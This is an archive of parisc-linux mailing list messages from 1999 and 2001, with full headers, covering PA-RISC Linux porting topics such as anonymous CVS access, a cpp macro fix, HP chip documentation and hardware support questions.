> I tried to log into Yoiur cvs tree, but it failed.
> cvs -d :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisccv

> access to /home/cvs/parisccv for user anonymous

you mistyped.  /home/cvs/parisc is the directory.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Mailer-Daemon@www.linux.org.uk: Mail delivery failed: returning message to sender]
Date: Mon, 29 Jan 2001 15:02:01 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <20010129150201.C19048@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619612 11520 80.91.229.3 (22 Nov 2014 01:26:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Mon Jan 29 08:01:35 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA15586
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Jan 2001 08:01:35 -0700
Original-Received: (qmail 25990 invoked by uid 15267); 29 Jan 2001 15:05:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18474 invoked from network); 29 Jan 2001 15:02:02 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 29 Jan 2001 15:02:02 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14NFof-0005Wt-00
	for parisc-linux@thepuffingroup.com; Mon, 29 Jan 2001 15:02:01 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9452


someone's got their mail system misconfigured.  could somone else forward
this to marcus, please?

----- Forwarded message from Mail Delivery System <Mailer-Daemon@www.linux.org.uk> -----

Envelope-to: willy@www.linux.org.uk
Delivery-date: Mon, 29 Jan 2001 14:52:54 +0000
X-Failed-Recipients: markus@lufmech.rwth-aachen.de
From: Mail Delivery System <Mailer-Daemon@www.linux.org.uk>
To: willy@www.linux.org.uk
Subject: Mail delivery failed: returning message to sender
Date: Mon, 29 Jan 2001 14:52:54 +0000

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. The following address(es) failed:

  markus@lufmech.rwth-aachen.de:
    SMTP error from remote mailer after end of data:
    host nets5.rz.RWTH-Aachen.DE [137.226.144.13]:
    501 5.1.8 Domain of sender address willy@www.linux.org.uk does not exist

------ This is a copy of the message, including all the headers. ------

Return-path: <willy@www.linux.org.uk>
Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14NFfd-0005KN-00; Mon, 29 Jan 2001 14:52:41 +0000
Date: Mon, 29 Jan 2001 14:52:41 +0000
From: Matthew Wilcox <matthew@wil.cx>
To: Markus Werle <markus@lufmech.rwth-aachen.de>
Cc: parisc-linux@thepuffingroup.com
Subject: Re: [parisc-linux] anonymous cvs password not accepted
Message-ID: <20010129145241.B19048@parcelfarce.linux.theplanet.co.uk>
References: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A75766A.CF9A3C23@lufmech.rwth-aachen.de>; from markus@lufmech.rwth-aachen.de on Mon, Jan 29, 2001 at 02:55:55PM +0100
Sender:  <willy@www.linux.org.uk>

On Mon, Jan 29, 2001 at 02:55:55PM +0100, Markus Werle wrote:
> I tried to log into Yoiur cvs tree, but it failed.
> cvs -d :pserver:anonymous@puffin.external.hp.com:/home/cvs/parisccv

> access to /home/cvs/parisccv for user anonymous

you mistyped.  /home/cvs/parisc is the directory.

-- 
Revolutions do not require corporate support.

----- End forwarded message -----

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gnu cpp bug or feature?
Date: Mon, 29 Jan 2001 21:17:31 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20010129211731.A11274@parcelfarce.linux.theplanet.co.uk>
References: <200101100631.XAA16714@udlkern.fc.hp.com> <20010110135013.B5884@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619612 11523 80.91.229.3 (22 Nov 2014 01:26:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:52 +0000 (UTC)
Cc: John Marvin <jsm@udlkern.fc.hp.com>, parisc-linux@puffin.external.hp.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: willy@www.linux.org.uk  Mon Jan 29 14:27:08 2001
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA20546
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Jan 2001 14:27:01 -0700
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14NLg3-0003QO-00; Mon, 29 Jan 2001 21:17:31 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20010110135013.B5884@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Wed, Jan 10, 2001 at 01:50:13PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9453

On Wed, Jan 10, 2001 at 01:50:13PM +0000, Matthew Wilcox wrote:
> On Tue, Jan 09, 2001 at 11:31:49PM -0700, John Marvin wrote:
> > 
> > I just discovered that the gnu cpp doesn't allow * and = to be concatenated.
> > What I am trying to do is the following:
> 
> GNU cpp does do some slightly strange things to avoid accidentally creating
> C tokens.  However, you should be able to work around this behaviour by using
> the ## operator.  try...

ok, this problem is now fixed.  Our Makefiles have been broken for a
_long_ time, so -traditional was not being passed to cpp.  Now that it
is, it will no longer have this behaviour.

This has some downsides; some macro definitions no longer work the way
you expect them to if you've been brough up on ansi c, like i was.
in particular, multiline #defines no longer seem to work, and token
concatenation with ## no longer works.  Fix the former with #ifndef
__ASSEMBLY__ ... #endif around the macros which don't work and fix
the latter by replacing:

#define ENTRY_SAME(_name_) sys_ ## _name_

with

#define ENTRY_SAME(_name_) sys_/**/_name_

of course, this won't work with the cpp in ANSI mode, so if this is in
a header file, you'll need to #ifdef __ASSEMBLY__ #else #endif your
way around it.  fortunately the only example which needed it so far
was syscall.S, not a header file.

as far as I can tell, everything now seems to be working; i recommend only
fixing things as we run into problems with this.  John, do you want to
change back to the ADDIB= form now, leave it as it is, or have me do it?

> >     ADDIB>      -1,%r1,1b
> >     ADDIB=      -1,%arg3,fdoneloop

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Lasi and Dino documentation!
Date: Fri, 4 Jun 1999 00:15:40 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990604000644.16726A-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619613 11525 80.91.229.3 (22 Nov 2014 01:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Thu Jun  3 22:15:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA15165
	for <parisc-linux@puffin.external.hp.com>; Thu, 3 Jun 1999 22:15:44 -0600
Original-Received: (qmail 24102 invoked by uid 15267); 4 Jun 1999 04:15:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24094 invoked from network); 4 Jun 1999 04:15:36 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 4 Jun 1999 04:15:36 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id AAA16850
	for <parisc-linux@thepuffingroup.com>; Fri, 4 Jun 1999 00:15:41 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:9454


I'm very happy to announce HP's release of the two pricipal device
controller chips inside the A180C, Dino and Lasi. 

Dino is the GSC to PCI bridge found on the A180C, Lasi is the
SCSI/Lan/Parallel/Serial/RTC/PS2/floppy controller that's also found in
the 712.

You can find links for them on our documentation page,
http://www.thepuffingroup.com/parisc/documentation.html.

I've only scanned the docs, but they look quite complete at this point.

A big fat thanks is owed to John Sontag and all the others from HP who
worked to get this documentation released. Releasing documentation that
until now has been privately held is more proof that HP is committed to
helping us with this port.

- alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:15:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] register_fallback_cpu()
Date: Mon, 29 Jan 2001 14:01:36 -0800 (PST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200101292201.OAA26531@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619613 11528 80.91.229.3 (22 Nov 2014 01:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Mon Jan 29 14:55:52 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA21348
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Jan 2001 14:55:49 -0700
Original-Received: (qmail 23590 invoked by uid 15267); 29 Jan 2001 21:59:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23583 invoked from network); 29 Jan 2001 21:59:36 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 29 Jan 2001 21:59:36 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 33EDEE35
	for <parisc-linux@thepuffingroup.com>; Mon, 29 Jan 2001 13:59:23 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id OAA26531
	for parisc-linux@thepuffingroup.com; Mon, 29 Jan 2001 14:01:36 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:9455

Hi all,
I committed a change to address some deficiencies in our hp_devices
handling and the change also affected older architectures. In particular,
I replaced register_modules() interface (whose name neither Matthew
nor I liked) with two functions: alloc_pa_dev() and register_pa_dev().

register_fallback_cpu() was one of the functions used by older HW
that I was not able to test. If anyone has time to pull a new kernel
and play with it, that would be good. Please let me know ASAP, if I
broke it. I'm happy to help fix it again.

grant


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /proc/bus/gsc
Date: Tue, 30 Jan 2001 07:45:46 +0100 (CET)
Lines: 10
Approved: news@gmane.org
Message-ID: <200101300645.HAA30526@zaphod.halden.lillfab.se>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619613 11533 80.91.229.3 (22 Nov 2014 01:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: 5116@telia.com  Mon Jan 29 23:42:52 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA27712
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 Jan 2001 23:42:52 -0700
Original-Received: (qmail 17944 invoked by uid 15267); 30 Jan 2001 06:46:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17934 invoked from network); 30 Jan 2001 06:46:54 -0000
Original-Received: from maild.telia.com (root@194.22.190.3)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 06:46:54 -0000
Original-Received: from zaphod.halden.lillfab.se (t5o70p38.telia.com [195.67.239.38])
	by maild.telia.com (8.9.3/8.9.3) with ESMTP id HAA22425
	for <parisc-linux@thepuffingroup.com>; Tue, 30 Jan 2001 07:46:52 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id HAA30526
	for parisc-linux@thepuffingroup.com; Tue, 30 Jan 2001 07:45:47 +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9456

What is the plan for /proc/bus/gsc?

I see some unfinished support in drvices/gsc/gsc.c. and what about
devices which are not really GSC? Should there be a /proc/pdc/devices
for the complete story?

/Daniel 
-- 



From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "WITTERT,REYNDERT \(Non-HP-Netherlands,ex1\)" <reyndert_wittert@non.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] question
Date: Tue, 30 Jan 2001 11:05:58 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <EBDA1CDB5860D31186FB009027541A92034964FC@vermeer.neth.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619614 11537 80.91.229.3 (22 Nov 2014 01:26:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:54 +0000 (UTC)
To: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
Original-X-From: reyndert_wittert@non.hp.com  Tue Jan 30 03:02:12 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA31797
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 03:02:11 -0700
Original-Received: (qmail 28078 invoked by uid 15267); 30 Jan 2001 10:06:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28046 invoked from network); 30 Jan 2001 10:06:02 -0000
Original-Received: from bramg1.net.external.hp.com (192.6.126.73)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 10:06:02 -0000
Original-Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135])
	by bramg1.net.external.hp.com (Postfix) with ESMTP id 688FEC6
	for <parisc-linux@thepuffingroup.com>; Tue, 30 Jan 2001 11:06:00 +0100 (MET)
Original-Received: from amstel.neth.hp.com (amstel.neth.hp.com [15.162.11.192])
	by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id KAA11053
	for <parisc-linux@thepuffingroup.com>; Tue, 30 Jan 2001 10:05:59 GMT
Original-Received: from 15.162.11.192 by amstel.neth.hp.com (InterScan E-Mail VirusWall NT); Tue, 30 Jan 2001 11:05:59 +0100 (Romance Standard Time)
Original-Received: by amstel.neth.hp.com with Internet Mail Service (5.5.2650.21)
	id <D9MW5V95>; Tue, 30 Jan 2001 11:05:59 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:9457

Is there some alternative for ioscan in linux?

Greets,
Reyndert

-- 
      _/               Reyndert Wittert
     _/                Assistent Customer Information Manager
    _/_/_/  _/_/_/     Hewlett-Packard Nederland B.V.
   _/  _/  _/  _/      Startbaan 16
  _/  _/  _/_/_/       Postbus 667
         _/            1180 AR Amstelveen
        _/             Phone   +31 20 547-6221
                       Fax     +31 20 547-7778   
  i  n  v  e  n  t     Email   Reyndert_Wittert@non.hp.com	
                          
                          
          


 


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: penfold@customware.com.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] _working_ rbootd for redhat
Date: Tue, 30 Jan 2001 21:48:18 +1100 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200101301048.VAA30747@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619614 11539 80.91.229.3 (22 Nov 2014 01:26:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: penfold@customware.com.au  Tue Jan 30 03:44:53 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA32651
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 03:44:52 -0700
Original-Received: (qmail 1161 invoked by uid 15267); 30 Jan 2001 10:48:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1149 invoked from network); 30 Jan 2001 10:48:54 -0000
Original-Received: from mr14.vic-remote.bigpond.net.au (24.192.1.29)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 10:48:54 -0000
Original-Received: from customware.com.au (CPE-144-132-17-132.vic.bigpond.net.au [144.132.17.132])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with ESMTP id VAA18771
	for <parisc-linux@thepuffingroup.com>; Tue, 30 Jan 2001 21:48:25 +1100 (EDT)
Original-Received: (from penfold@localhost)
	by customware.com.au (8.9.3/8.8.7) id VAA30747
	for parisc-linux@thepuffingroup.com; Tue, 30 Jan 2001 21:48:18 +1100
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:9458

Hi all,

First up, thanks all - I love your work.

after much trawling of the list archive and altavista I was able to get rbootd
to at least boot the kernel on a 720.
CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz

Given that finding this was not easy, how can we the patched source .tar.gz
available more easily on parisc-linux.org or puffin.external.hp.com ?

I _really_ hope its not somewhere obvious and I am just a nuff-nuff.

Also, Is there anyway to hard boot this machine form the serial port when
a HPMC has happened?
(eg, control sequence).

thanks,
Damian
penfold@customware.com.au


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 800/G30 and G50 Support?
Date: Tue, 30 Jan 2001 18:01:20 +1100
Lines: 12
Approved: news@gmane.org
Message-ID: <3A770170.11858.64A68@localhost>
References: <3A72EB6B.5873.15C4E1@localhost>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416619614 11543 80.91.229.3 (22 Nov 2014 01:26:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: plaven@ozemail.com.au  Tue Jan 30 03:47:24 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA00326
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 03:47:24 -0700
Original-Received: (qmail 3494 invoked by uid 15267); 30 Jan 2001 10:51:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3476 invoked from network); 30 Jan 2001 10:51:27 -0000
Original-Received: from mta02.mail.au.uu.net (HELO mta02.mail.mel.aone.net.au) (203.2.192.82)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 10:51:27 -0000
Original-Received: from piglet.sspl.net.au ([210.84.37.129])
          by mta02.mail.mel.aone.net.au with ESMTP
          id <20010130105122.ETUV25571.mta02.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@thepuffingroup.com>;
          Tue, 30 Jan 2001 21:51:22 +1100
Original-Received: from winnie.sspl.net.au (winnie. [192.168.11.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id SAA20911
	for <parisc-linux@thepuffingroup.com>; Tue, 30 Jan 2001 18:01:20 +1100
Priority: normal
In-reply-to: <3A72EB6B.5873.15C4E1@localhost>
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:9459

Hi everyone,

> I have come across some G30's and G50's in my travels.
> 
> I hit the archive (via a google search) and there was mention that 
> the G30 was too old and not likely supported, is this the case?

I still haven't been able to acertain if this archcetecture is supprted 
with the linux port...  Anyone willing to offer a yes or no?

Pete.


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 800/G30 and G50 Support?
Date: Tue, 30 Jan 2001 13:49:21 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20010130134921.A3093@parcelfarce.linux.theplanet.co.uk>
References: <3A72EB6B.5873.15C4E1@localhost> <3A770170.11858.64A68@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619615 11544 80.91.229.3 (22 Nov 2014 01:26:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Pete <plaven@ozemail.com.au>
Original-X-From: willy@www.linux.org.uk  Tue Jan 30 06:45:32 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA03912
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 06:45:31 -0700
Original-Received: (qmail 14105 invoked by uid 15267); 30 Jan 2001 13:49:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14098 invoked from network); 30 Jan 2001 13:49:35 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 13:49:35 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Nb9t-0000ts-00; Tue, 30 Jan 2001 13:49:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <3A770170.11858.64A68@localhost>; from plaven@ozemail.com.au on Tue, Jan 30, 2001 at 06:01:20PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9460

On Tue, Jan 30, 2001 at 06:01:20PM +1100, Pete wrote:
> Hi everyone,
> 
> > I have come across some G30's and G50's in my travels.
> > 
> > I hit the archive (via a google search) and there was mention that 
> > the G30 was too old and not likely supported, is this the case?
> 
> I still haven't been able to acertain if this archcetecture is supprted 
> with the linux port...  Anyone willing to offer a yes or no?

it's in the faq.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Server E55 (9000/856) - PDC console, SPIFI
Date: Tue, 30 Jan 2001 15:01:28 +0100
Organization: AAA
Lines: 18
Approved: news@gmane.org
Message-ID: <3A76C938.E2E13D2B@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619615 11548 80.91.229.3 (22 Nov 2014 01:26:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:55 +0000 (UTC)
Cc: christoph.plattner@dot.at
To: parisc-linux@thepuffingroup.com
Original-X-From: christoph.plattner@alcatel.at  Tue Jan 30 06:57:49 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA04326
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 06:57:48 -0700
Original-Received: (qmail 29775 invoked by uid 15267); 30 Jan 2001 14:01:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29671 invoked from network); 30 Jan 2001 14:01:48 -0000
Original-Received: from atusks01.alcatel.at (HELO mail.alcatel.at) (212.183.9.130)
  by mailserv2.iuinc.com with SMTP; 30 Jan 2001 14:01:48 -0000
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id PAA07340;
	Tue, 30 Jan 2001 15:01:31 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9461

Hello PA-RISC GURUS !

* Is it possible to use the PDC console as system console ?

* Is the PDC documentation enough to find out or to write a
	driver (not only for printk !) ?

* Concerning the E55 interfaces, I got the tip to search
	with the keyword "SPIFI". What does this mean ?
	How can I search in the "whole" mailing list ?

With friendly regards
	Christoph

-----------------------------------------------------------------
private:        christoph.plattner@dot.at
company:        christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _working_ rbootd for redhat
Date: Tue, 30 Jan 2001 14:02:15 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20010130140215.B3093@parcelfarce.linux.theplanet.co.uk>
References: <200101301048.VAA30747@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619615 11550 80.91.229.3 (22 Nov 2014 01:26:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: penfold@customware.com.au
Original-X-From: willy@www.linux.org.uk  Tue Jan 30 06:58:35 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA04411
	for <parisc-linux@puffin.external.hp.com>; Tue, 30 Jan 2001 06:58:34 -0700
Original-Received: (qmail 30780 invoked by uid 15267); 30 Jan 2001 14:02:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
